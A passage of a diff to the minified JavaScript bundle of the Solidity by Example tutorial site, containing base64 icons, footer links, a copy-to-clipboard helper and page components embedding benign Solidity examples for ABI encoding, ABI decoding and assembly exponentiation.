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",dg="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEcAAAAyCAYAAAAOX8ZtAAAABmJLR0QA/wD/AP+gvaeTAAADmUlEQVRoge3bT2wUZRjH8c9Ml39S09IC/uFiRBIwabzVE15oiJBwLBcP3npS4E4IBA/EAwmcCInhoCeJNwgQoDGRC8GESMDYhJRyUAQplZa2tBYdD+9suqmsadHO+6J8kzd5Z3Znnt/+9p1ndt593swCKViFV7EWK8vWjpewouyvLLdfLg9rxZKG0ywt39NIOzL8gdE5r42W++uMY6bs/4pJTOARxsr+RHncOO7hbsbjhXzWrNkLBcvxPt5FF97Ga8L+55VR/Ijv8R0u45uM3+d9hoK+gnsFxf+g3S74cD6mrCj4PAHBMdpXRUgLTc35IgGRMduXzYz5OAFxKbSP6p5kpTHtuI22eSem/y4P8UbGaF7u6PXCmDrtgh/q5vTE05IkPcya0x1RSIp0Q1aEy+lhZDEpsirH+tgqEmV9jjdjq0iUt3Ksi60iUdbl6Kw05NatrFlTachnpDPH6kpD7tjBrVscOMCyZZWGXiCrqzcHWlvZv5/r1+ntrTz8POms/rJqZMMGTp7k4kW6uqLJaMLqHB2xVdiyhatXOX48pXzUmQvTmfGp1ejrY2CA3bvDdlyW50grK3Z0cORIyEfbtsVUsjQ9c+ps3MiZM1y4wKZNMRQsS9ecOj09XLvG0aO0VTqrkvDIaWTJEnbtYnAw5KOWliqiPgcjp5HOzpCPrlxh8+bFjrY0R7HYUZ5Tshy/xVYxb4aH2bOH7m4uXVrsaFM1TEvlt04zZmY4dox9+xgbqyrqdN2cdDl9OoyWwcGqI0/nUjVnYIDt28NTfPXGkKQ5IyNhpHR1cfZsTCVTNaF8Iz5PnnDiBHv3hsQbn6kaRmKr0N8fRsuNG7GVNDKcI97XdPMmO3eGR4S0jIHhmhjmjI9z+DCHDjGdVsprIII5p05x8CD371ca9hl4UMODSkOeP19puH/AcI47sVUkys85bsVWkSiDLwoJmtOWZ6H8dCi2ksQYyhir1+dciSolPb5ltnipP6KQFPmaFwWTT+ORUDA5kkMWEvIncTUlw6fZ3OfNgpaCUwnUAcds/QVP/6u1YHnBZwmIjNHOFbOrfJpT8EHBUAKCq2h3i1C9n8/14e+WFLXgPWFJ0TvCkqLXxajn+fd4jJ/wg7Cs6DLOZU1mQ5ua04wi/Am4Fq8Id7lWs4vSVjX0W4W7X17GaZ9zqvriszr19xb++ov9EZ40bD/GVNkfFWYzJ8vjJsp+fWHaJH7BnSzsmzd/AkgxNaTAmykLAAAAAElFTkSuQmCC",VC="/assets/telegram-DMavHjFx.png",fC="/assets/discord-BqSoMD3G.png";function YC(){return r.jsxs("div",{className:Is.component,children:[r.jsxs("div",{className:Is.row,children:[r.jsx("img",{src:GC,alt:"smart contract engineer",className:Is.sce}),r.jsx("a",{href:"https://www.smartcontract.engineer",target:"__blank",children:"Smart Contract Engineer"})]}),r.jsxs("div",{className:Is.social,children:[r.jsxs("div",{className:Is.row,children:[r.jsx("img",{src:fC,alt:"discord",className:Is.discord}),r.jsx("a",{href:"https://discord.gg/bt8FK2wkcW",target:"__blank",children:"Discord"})]}),r.jsxs("div",{className:Is.row,children:[r.jsx("img",{src:VC,alt:"telegram",className:Is.telegram}),r.jsx("a",{href:"https://t.me/smartcontractprogrammer",target:"__blank",children:"Telegram"})]}),r.jsxs("div",{className:Is.row,children:[r.jsx("img",{src:dg,alt:"youtube",className:Is.youTube}),r.jsx("a",{href:"https://www.youtube.com/channel/UCJWh7F3AFyQ_x01VKzr9eyA",target:"__blank",children:"YouTube"})]})]}),r.jsx("div",{className:Is.row,children:r.jsx("a",{href:"mailto:contact@solidity-by-example.org",children:"contact@solidity-by-example.org"})}),r.jsxs("div",{className:Is.row,children:[r.jsx("a",{href:"https://github.com/solidity-by-example/solidity-by-example.github.io",target:"__blank",children:"Source"}),r.jsx("div",{className:Is.bar,children:"|"}),r.jsx("a",{href:"https://github.com/solidity-by-example/solidity-by-example.github.io/blob/gh-pages/LICENSE",target:"__blank",children:"License"}),r.jsx("div",{className:Is.bar,children:"|"}),r.jsx("a",{href:Ig,target:"__blank",children:"Solidity jobs"})]})]})}const RC=({children:s})=>{const{state:a}=et(),n=B.useRef(null);B.useLayoutEffect(()=>{n.current&&(n.current.scrollTop=parseInt(sessionStorage.getItem("scroll")||"0")||0)},[]);function l(p){var e;sessionStorage.setItem("scroll",(((e=n.current)==null?void 0:e.scrollTop)||0).toString()),window.location.href=p}return r.jsxs("div",{className:Rl.component,children:[r.jsx("div",{ref:n,className:Rl.sideNav,style:a.sideNav?{width:"var(--side-nav-width)",padding:"20px 10px 60px 10px"}:{width:0},children:a.sideNav?r.jsx(eC,{onClick:l}):null}),r.jsxs("div",{className:Rl.main,children:[r.jsx(AC,{}),r.jsxs("div",{className:Rl.children,children:[s,r.jsx(YC,{})]})]})]})},Cg=({title:s,description:a})=>(B.useEffect(()=>{document.title=s;const n=document.querySelector("meta[name='description']");n&&n.setAttribute("content",a)},[]),null),fo=' ',XC='';function vC(s=[]){B.useEffect(()=>{const a=p=>{try{const e=document.createElement("textarea");e.setAttribute("style","width:1px;border:0;opacity:0;"),document.body.appendChild(e),navigator.clipboard.writeText(p.innerText),document.body.removeChild(e)}catch(e){console.error(e)}},n=[];return document.querySelectorAll("pre").forEach(p=>{var i;if(((i=p.parentElement)==null?void 0:i.className)=="copy-wrapper")return;const e=document.createElement("div");e.className="copy-wrapper",p.parentElement.insertBefore(e,p),e.appendChild(p);const c=document.createElement("button");c.className="copy",c.title="Copy",c.innerHTML=fo,c.ariaLabel="Copy to clipboard",p.after(c);function t(I){I.preventDefault(),a(p.childNodes[0]),c.innerHTML=XC}function o(I){I.preventDefault(),c.innerHTML=fo}c.addEventListener("click",t),c.addEventListener("blur",o),n.push(()=>{c.removeEventListener("click",t),c.removeEventListener("blur",o)})}),()=>{for(let p=0;p(vC([]),r.jsx("div",{className:`code ${s}`,dangerouslySetInnerHTML:{__html:a}})),HC="_component_ni5i2_1",FC="_content_ni5i2_5",KC="_prevNext_ni5i2_8",he={component:HC,content:FC,prevNext:KC},A=({title:s,version:a,description:n,html:l,prev:p,next:e,codes:c})=>r.jsxs("div",{className:he.component,children:[r.jsx(Cg,{title:`${s} | Solidity by Example | ${a}`,description:n}),r.jsxs("div",{className:he.content,children:[r.jsx("h2",{children:s}),r.jsx(NC,{html:l}),r.jsxs("div",{className:he.prevNext,children:[p&&r.jsxs("a",{href:p.path,children:["< ",p.title]}),e&&r.jsxs("a",{href:e.path,children:[e.title," >"]})]}),r.jsx("h3",{children:"Try on Remix"}),r.jsx("ul",{children:c.map(({fileName:t,code:o},i)=>r.jsx("li",{children:r.jsx("a",{href:`https://remix.ethereum.org/?#code=${o}`,target:"_blank",rel:"noreferrer",children:t})},i))})]})]}),MC="0.8.24",SC="ABI Decode",xC="ABI decode bytes",JC=[{fileName:"AbiDecode.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFiaURlY29kZSB7CiAgICBzdHJ1Y3QgTXlTdHJ1Y3QgewogICAgICAgIHN0cmluZyBuYW1lOwogICAgICAgIHVpbnQyNTZbMl0gbnVtczsKICAgIH0KCiAgICBmdW5jdGlvbiBlbmNvZGUoCiAgICAgICAgdWludDI1NiB4LAogICAgICAgIGFkZHJlc3MgYWRkciwKICAgICAgICB1aW50MjU2W10gY2FsbGRhdGEgYXJyLAogICAgICAgIE15U3RydWN0IGNhbGxkYXRhIG15U3RydWN0CiAgICApIGV4dGVybmFsIHB1cmUgcmV0dXJucyAoYnl0ZXMgbWVtb3J5KSB7CiAgICAgICAgcmV0dXJuIGFiaS5lbmNvZGUoeCwgYWRkciwgYXJyLCBteVN0cnVjdCk7CiAgICB9CgogICAgZnVuY3Rpb24gZGVjb2RlKGJ5dGVzIGNhbGxkYXRhIGRhdGEpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoCiAgICAgICAgICAgIHVpbnQyNTYgeCwKICAgICAgICAgICAgYWRkcmVzcyBhZGRyLAogICAgICAgICAgICB1aW50MjU2W10gbWVtb3J5IGFyciwKICAgICAgICAgICAgTXlTdHJ1Y3QgbWVtb3J5IG15U3RydWN0CiAgICAgICAgKQogICAgewogICAgICAgIC8vICh1aW50IHgsIGFkZHJlc3MgYWRkciwgdWludFtdIG1lbW9yeSBhcnIsIE15U3RydWN0IG15U3RydWN0KSA9IC4uLgogICAgICAgICh4LCBhZGRyLCBhcnIsIG15U3RydWN0KSA9CiAgICAgICAgICAgIGFiaS5kZWNvZGUoZGF0YSwgKHVpbnQyNTYsIGFkZHJlc3MsIHVpbnQyNTZbXSwgTXlTdHJ1Y3QpKTsKICAgIH0KfQo="}],zC=`

abi.encode encodes data into bytes.

abi.decode decodes bytes back into data.

// SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -99,7 +99,7 @@ Error generating stack: `+e.message+`
             abi.decode(data, (uint256, address, uint256[], MyStruct));
     }
 }
-
`,DC=({prev:s,next:a})=>r.jsx(u,{version:MC,title:SC,description:xC,html:zC,prev:s,next:a,codes:JC}),EC="0.8.24",QC="ABI Encode",TC="ABI encode",UC=[{fileName:"AbiEncode.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcywgdWludDI1NikgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IFRva2VuIHsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MsIHVpbnQyNTYpIGV4dGVybmFsIHt9Cn0KCmNvbnRyYWN0IEFiaUVuY29kZSB7CiAgICBmdW5jdGlvbiB0ZXN0KGFkZHJlc3MgX2NvbnRyYWN0LCBieXRlcyBjYWxsZGF0YSBkYXRhKSBleHRlcm5hbCB7CiAgICAgICAgKGJvb2wgb2ssKSA9IF9jb250cmFjdC5jYWxsKGRhdGEpOwogICAgICAgIHJlcXVpcmUob2ssICJjYWxsIGZhaWxlZCIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGVuY29kZVdpdGhTaWduYXR1cmUoYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMgbWVtb3J5KQogICAgewogICAgICAgIC8vIFR5cG8gaXMgbm90IGNoZWNrZWQgLSAidHJhbnNmZXIoYWRkcmVzcywgdWludCkiCiAgICAgICAgcmV0dXJuIGFiaS5lbmNvZGVXaXRoU2lnbmF0dXJlKCJ0cmFuc2ZlcihhZGRyZXNzLHVpbnQyNTYpIiwgdG8sIGFtb3VudCk7CiAgICB9CgogICAgZnVuY3Rpb24gZW5jb2RlV2l0aFNlbGVjdG9yKGFkZHJlc3MgdG8sIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkKICAgIHsKICAgICAgICAvLyBUeXBlIGlzIG5vdCBjaGVja2VkIC0gKElFUkMyMC50cmFuc2Zlci5zZWxlY3RvciwgdHJ1ZSwgYW1vdW50KQogICAgICAgIHJldHVybiBhYmkuZW5jb2RlV2l0aFNlbGVjdG9yKElFUkMyMC50cmFuc2Zlci5zZWxlY3RvciwgdG8sIGFtb3VudCk7CiAgICB9CgogICAgZnVuY3Rpb24gZW5jb2RlQ2FsbChhZGRyZXNzIHRvLCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlcyBtZW1vcnkpCiAgICB7CiAgICAgICAgLy8gVHlwbyBhbmQgdHlwZSBlcnJvcnMgd2lsbCBub3QgY29tcGlsZQogICAgICAgIHJldHVybiBhYmkuZW5jb2RlQ2FsbChJRVJDMjAudHJhbnNmZXIsICh0bywgYW1vdW50KSk7CiAgICB9Cn0K"}],_C=`
// SPDX-License-Identifier: MIT
+
`,DC=({prev:s,next:a})=>r.jsx(A,{version:MC,title:SC,description:xC,html:zC,prev:s,next:a,codes:JC}),EC="0.8.24",QC="ABI Encode",TC="ABI encode",UC=[{fileName:"AbiEncode.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmludGVyZmFjZSBJRVJDMjAgewogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcywgdWludDI1NikgZXh0ZXJuYWw7Cn0KCmNvbnRyYWN0IFRva2VuIHsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyKGFkZHJlc3MsIHVpbnQyNTYpIGV4dGVybmFsIHt9Cn0KCmNvbnRyYWN0IEFiaUVuY29kZSB7CiAgICBmdW5jdGlvbiB0ZXN0KGFkZHJlc3MgX2NvbnRyYWN0LCBieXRlcyBjYWxsZGF0YSBkYXRhKSBleHRlcm5hbCB7CiAgICAgICAgKGJvb2wgb2ssKSA9IF9jb250cmFjdC5jYWxsKGRhdGEpOwogICAgICAgIHJlcXVpcmUob2ssICJjYWxsIGZhaWxlZCIpOwogICAgfQoKICAgIGZ1bmN0aW9uIGVuY29kZVdpdGhTaWduYXR1cmUoYWRkcmVzcyB0bywgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICBwdXJlCiAgICAgICAgcmV0dXJucyAoYnl0ZXMgbWVtb3J5KQogICAgewogICAgICAgIC8vIFR5cG8gaXMgbm90IGNoZWNrZWQgLSAidHJhbnNmZXIoYWRkcmVzcywgdWludCkiCiAgICAgICAgcmV0dXJuIGFiaS5lbmNvZGVXaXRoU2lnbmF0dXJlKCJ0cmFuc2ZlcihhZGRyZXNzLHVpbnQyNTYpIiwgdG8sIGFtb3VudCk7CiAgICB9CgogICAgZnVuY3Rpb24gZW5jb2RlV2l0aFNlbGVjdG9yKGFkZHJlc3MgdG8sIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcHVyZQogICAgICAgIHJldHVybnMgKGJ5dGVzIG1lbW9yeSkKICAgIHsKICAgICAgICAvLyBUeXBlIGlzIG5vdCBjaGVja2VkIC0gKElFUkMyMC50cmFuc2Zlci5zZWxlY3RvciwgdHJ1ZSwgYW1vdW50KQogICAgICAgIHJldHVybiBhYmkuZW5jb2RlV2l0aFNlbGVjdG9yKElFUkMyMC50cmFuc2Zlci5zZWxlY3RvciwgdG8sIGFtb3VudCk7CiAgICB9CgogICAgZnVuY3Rpb24gZW5jb2RlQ2FsbChhZGRyZXNzIHRvLCB1aW50MjU2IGFtb3VudCkKICAgICAgICBleHRlcm5hbAogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zIChieXRlcyBtZW1vcnkpCiAgICB7CiAgICAgICAgLy8gVHlwbyBhbmQgdHlwZSBlcnJvcnMgd2lsbCBub3QgY29tcGlsZQogICAgICAgIHJldHVybiBhYmkuZW5jb2RlQ2FsbChJRVJDMjAudHJhbnNmZXIsICh0bywgYW1vdW50KSk7CiAgICB9Cn0K"}],_C=`
// SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
 
 interface IERC20 {
@@ -143,7 +143,7 @@ Error generating stack: `+e.message+`
         return abi.encodeCall(IERC20.transfer, (to, amount));
     }
 }
-
`,LC=({prev:s,next:a})=>r.jsx(u,{version:EC,title:QC,description:TC,html:_C,prev:s,next:a,codes:UC}),OC="0.8.24",PC="Assembly Binary Exponentiation",$C="Example of binary exponentiation in assembly",qC=[{fileName:"AssemblyBinExp.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFzc2VtYmx5QmluRXhwIHsKICAgIC8vIEJpbmFyeSBleHBvbmVudGlhdGlvbiB0byBjYWxjdWxhdGUgeCoqbgogICAgZnVuY3Rpb24gcnBvdyh1aW50MjU2IHgsIHVpbnQyNTYgbiwgdWludDI1NiBiKQogICAgICAgIHB1YmxpYwogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2IHopCiAgICB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBzd2l0Y2ggeAogICAgICAgICAgICAvLyB4ID0gMAogICAgICAgICAgICBjYXNlIDAgewogICAgICAgICAgICAgICAgc3dpdGNoIG4KICAgICAgICAgICAgICAgIC8vIG4gPSAwIC0tPiB4KipuID0gMCoqMCAtLT4gMQogICAgICAgICAgICAgICAgY2FzZSAwIHsgeiA6PSBiIH0KICAgICAgICAgICAgICAgIC8vIG4gPiAwIC0tPiB4KipuID0gMCoqbiAtLT4gMAogICAgICAgICAgICAgICAgZGVmYXVsdCB7IHogOj0gMCB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZGVmYXVsdCB7CiAgICAgICAgICAgICAgICBzd2l0Y2ggbW9kKG4sIDIpCiAgICAgICAgICAgICAgICAvLyB4ID4gMCBhbmQgbiBpcyBldmVuIC0tPiB6ID0gMQogICAgICAgICAgICAgICAgY2FzZSAwIHsgeiA6PSBiIH0KICAgICAgICAgICAgICAgIC8vIHggPiAwIGFuZCBuIGlzIG9kZCAtLT4geiA9IHgKICAgICAgICAgICAgICAgIGRlZmF1bHQgeyB6IDo9IHggfQoKICAgICAgICAgICAgICAgIGxldCBoYWxmIDo9IGRpdihiLCAyKSAvLyBmb3Igcm91bmRpbmcuCiAgICAgICAgICAgICAgICAvLyBuID0gbiAvIDIsIHdoaWxlIG4gPiAwLCBuID0gbiAvIDIKICAgICAgICAgICAgICAgIGZvciB7IG4gOj0gZGl2KG4sIDIpIH0gbiB7IG4gOj0gZGl2KG4sIDIpIH0gewogICAgICAgICAgICAgICAgICAgIGxldCB4eCA6PSBtdWwoeCwgeCkKICAgICAgICAgICAgICAgICAgICAvLyBDaGVjayBvdmVyZmxvdyAtIHJldmVydCBpZiB4eCAvIHggIT0geAogICAgICAgICAgICAgICAgICAgIGlmIGlzemVybyhlcShkaXYoeHgsIHgpLCB4KSkgeyByZXZlcnQoMCwgMCkgfQogICAgICAgICAgICAgICAgICAgIC8vIFJvdW5kICh4eCArIGhhbGYpIC8gYgogICAgICAgICAgICAgICAgICAgIGxldCB4eFJvdW5kIDo9IGFkZCh4eCwgaGFsZikKICAgICAgICAgICAgICAgICAgICAvLyBDaGVjayBvdmVyZmxvdyAtIHJldmVydCBpZiB4eFJvdW5kIDwgeHgKICAgICAgICAgICAgICAgICAgICBpZiBsdCh4eFJvdW5kLCB4eCkgeyByZXZlcnQoMCwgMCkgfQogICAgICAgICAgICAgICAgICAgIHggOj0gZGl2KHh4Um91bmQsIGIpCiAgICAgICAgICAgICAgICAgICAgLy8gaWYgbiAlIDIgPT0gMQogICAgICAgICAgICAgICAgICAgIGlmIG1vZChuLCAyKSB7CiAgICAgICAgICAgICAgICAgICAgICAgIGxldCB6eCA6PSBtdWwoeiwgeCkKICAgICAgICAgICAgICAgICAgICAgICAgLy8gcmV2ZXJ0IGlmIHggIT0gMCBhbmQgenggLyB4ICE9IHoKICAgICAgICAgICAgICAgICAgICAgICAgaWYgYW5kKGlzemVybyhpc3plcm8oeCkpLCBpc3plcm8oZXEoZGl2KHp4LCB4KSwgeikpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXZlcnQoMCwgMCkKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICAgICAvLyBSb3VuZCAoenggKyBoYWxmKSAvIGIKICAgICAgICAgICAgICAgICAgICAgICAgbGV0IHp4Um91bmQgOj0gYWRkKHp4LCBoYWxmKQogICAgICAgICAgICAgICAgICAgICAgICAvLyBDaGVjayBvdmVyZmxvdyAtIHJldmVydCBpZiB6eFJvdW5kIDwgengKICAgICAgICAgICAgICAgICAgICAgICAgaWYgbHQoenhSb3VuZCwgengpIHsgcmV2ZXJ0KDAsIDApIH0KICAgICAgICAgICAgICAgICAgICAgICAgeiA6PSBkaXYoenhSb3VuZCwgYikKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgIH0KICAgICAgICB9CiAgICB9Cn0K"}],sj=`

Example of binary exponentiation in assembly

+`,LC=({prev:s,next:a})=>r.jsx(A,{version:EC,title:QC,description:TC,html:_C,prev:s,next:a,codes:UC}),OC="0.8.24",PC="Assembly Binary Exponentiation",$C="Example of binary exponentiation in assembly",qC=[{fileName:"AssemblyBinExp.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IEFzc2VtYmx5QmluRXhwIHsKICAgIC8vIEJpbmFyeSBleHBvbmVudGlhdGlvbiB0byBjYWxjdWxhdGUgeCoqbgogICAgZnVuY3Rpb24gcnBvdyh1aW50MjU2IHgsIHVpbnQyNTYgbiwgdWludDI1NiBiKQogICAgICAgIHB1YmxpYwogICAgICAgIHB1cmUKICAgICAgICByZXR1cm5zICh1aW50MjU2IHopCiAgICB7CiAgICAgICAgYXNzZW1ibHkgewogICAgICAgICAgICBzd2l0Y2ggeAogICAgICAgICAgICAvLyB4ID0gMAogICAgICAgICAgICBjYXNlIDAgewogICAgICAgICAgICAgICAgc3dpdGNoIG4KICAgICAgICAgICAgICAgIC8vIG4gPSAwIC0tPiB4KipuID0gMCoqMCAtLT4gMQogICAgICAgICAgICAgICAgY2FzZSAwIHsgeiA6PSBiIH0KICAgICAgICAgICAgICAgIC8vIG4gPiAwIC0tPiB4KipuID0gMCoqbiAtLT4gMAogICAgICAgICAgICAgICAgZGVmYXVsdCB7IHogOj0gMCB9CiAgICAgICAgICAgIH0KICAgICAgICAgICAgZGVmYXVsdCB7CiAgICAgICAgICAgICAgICBzd2l0Y2ggbW9kKG4sIDIpCiAgICAgICAgICAgICAgICAvLyB4ID4gMCBhbmQgbiBpcyBldmVuIC0tPiB6ID0gMQogICAgICAgICAgICAgICAgY2FzZSAwIHsgeiA6PSBiIH0KICAgICAgICAgICAgICAgIC8vIHggPiAwIGFuZCBuIGlzIG9kZCAtLT4geiA9IHgKICAgICAgICAgICAgICAgIGRlZmF1bHQgeyB6IDo9IHggfQoKICAgICAgICAgICAgICAgIGxldCBoYWxmIDo9IGRpdihiLCAyKSAvLyBmb3Igcm91bmRpbmcuCiAgICAgICAgICAgICAgICAvLyBuID0gbiAvIDIsIHdoaWxlIG4gPiAwLCBuID0gbiAvIDIKICAgICAgICAgICAgICAgIGZvciB7IG4gOj0gZGl2KG4sIDIpIH0gbiB7IG4gOj0gZGl2KG4sIDIpIH0gewogICAgICAgICAgICAgICAgICAgIGxldCB4eCA6PSBtdWwoeCwgeCkKICAgICAgICAgICAgICAgICAgICAvLyBDaGVjayBvdmVyZmxvdyAtIHJldmVydCBpZiB4eCAvIHggIT0geAogICAgICAgICAgICAgICAgICAgIGlmIGlzemVybyhlcShkaXYoeHgsIHgpLCB4KSkgeyByZXZlcnQoMCwgMCkgfQogICAgICAgICAgICAgICAgICAgIC8vIFJvdW5kICh4eCArIGhhbGYpIC8gYgogICAgICAgICAgICAgICAgICAgIGxldCB4eFJvdW5kIDo9IGFkZCh4eCwgaGFsZikKICAgICAgICAgICAgICAgICAgICAvLyBDaGVjayBvdmVyZmxvdyAtIHJldmVydCBpZiB4eFJvdW5kIDwgeHgKICAgICAgICAgICAgICAgICAgICBpZiBsdCh4eFJvdW5kLCB4eCkgeyByZXZlcnQoMCwgMCkgfQogICAgICAgICAgICAgICAgICAgIHggOj0gZGl2KHh4Um91bmQsIGIpCiAgICAgICAgICAgICAgICAgICAgLy8gaWYgbiAlIDIgPT0gMQogICAgICAgICAgICAgICAgICAgIGlmIG1vZChuLCA